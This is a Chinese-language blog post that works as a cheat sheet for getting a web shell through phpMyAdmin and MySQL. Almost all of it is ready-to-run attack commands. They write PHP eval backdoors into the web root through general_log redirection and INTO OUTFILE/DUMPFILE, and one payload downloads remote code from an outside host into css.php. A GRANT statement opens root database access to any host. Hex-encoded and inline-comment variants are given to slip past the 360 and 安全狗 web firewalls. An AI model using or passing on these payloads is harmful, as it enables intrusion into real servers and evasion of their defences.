phpmyadmin getshell 记录
2019年09月08日 phpmyadmin getshell
select '<?php @eval($_POST[admin])?>'; show global variables like '%general%'; set global general_log = on; set global general_log_file = 'D://wamp//www//test.php'; select '<?php @eval($_POST[admin])?>';
phpmyadmin绕狗绕盾getshell
需要上传一张图 包含引用 导出日志到图片路径下
select '<?php require_once ("10826_P_1575043387170.jpg"); ?>'; show global variables like '%general%'; set global general_log = on; set global general_log_file = 'D://wwwroot//web//temp//cachesmobile//test.php'; //设置备份路径为图片上传路径下 select '<?php require_once ("10826_P_1575043387170.jpg"); ?>';
<?php file_put_contents('./css.php',file_get_contents('http://yiqipeiyou.com/pic/o.txt')) ?> //图片包含远程下载
导出后访问导出的php文件在同目录下生成 css.php
数据库端口开启外链的话,连接数据库执行sql语句getshell
SELECT '<?php phpinfo();?>' INTO OUTFILE 'D:\\wwwroot\test.php' //使用outfile 进行写文件 SELECT LOAD_FILE('D:\\wwwroot\\1.php') //使用load_file读取文件
into outfile方式: select '<?php @eval($_POST[pass]);?>' into outfile 'D:/wwwroot/test.php'; into loadfile方式:select '<?php @eval($_POST[pass]);?>' into loadfile 'D:/wwwroot/test.php'; into dumpfile方式:select '<?php @eval($_POST[pass]);?>' into dumpfile 'D:/wwwroot/test.php';
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option; //开启MySQL外链 flush privileges; //刷新MySQL系统权限相关表
绕过360 (通过内联注释) select '<?php @eval($_POST[pass]);?>' into /*!50001outfile*/ 'd://wwwroot//bypass.php'; 绕过网站安全狗<4.0 (通过hex编码) select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'D:\\wwwroot\\bypass.php'; 绕过安全狗4.0 通过hex编码+内联注释 /*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'D:\\wwwroot\\bypass.php';
绕过server_sql.php、tbl_sql.php、db_sql.php + 安全狗导出WebShell 以上的三个文件的作用是(执行SQL语句) 但是如果被删除了可以通过以下的方法 (1)token需要 (2)自己选择一个数据库和数据表 (3)参数pos=0 &sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\wwwroot\\bypass.php'; 例如 http://127.0.0.1/phpmyadmin/sql.php?db=数据库名&token=token值&table=数据表名&pos=0&sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\wwwroot\\bypass.php';
参考链接 https://xz.aliyun.com/t/6817
分类:技术文章 | 标签: 渗透mysql远程下载getshell | 查看:1031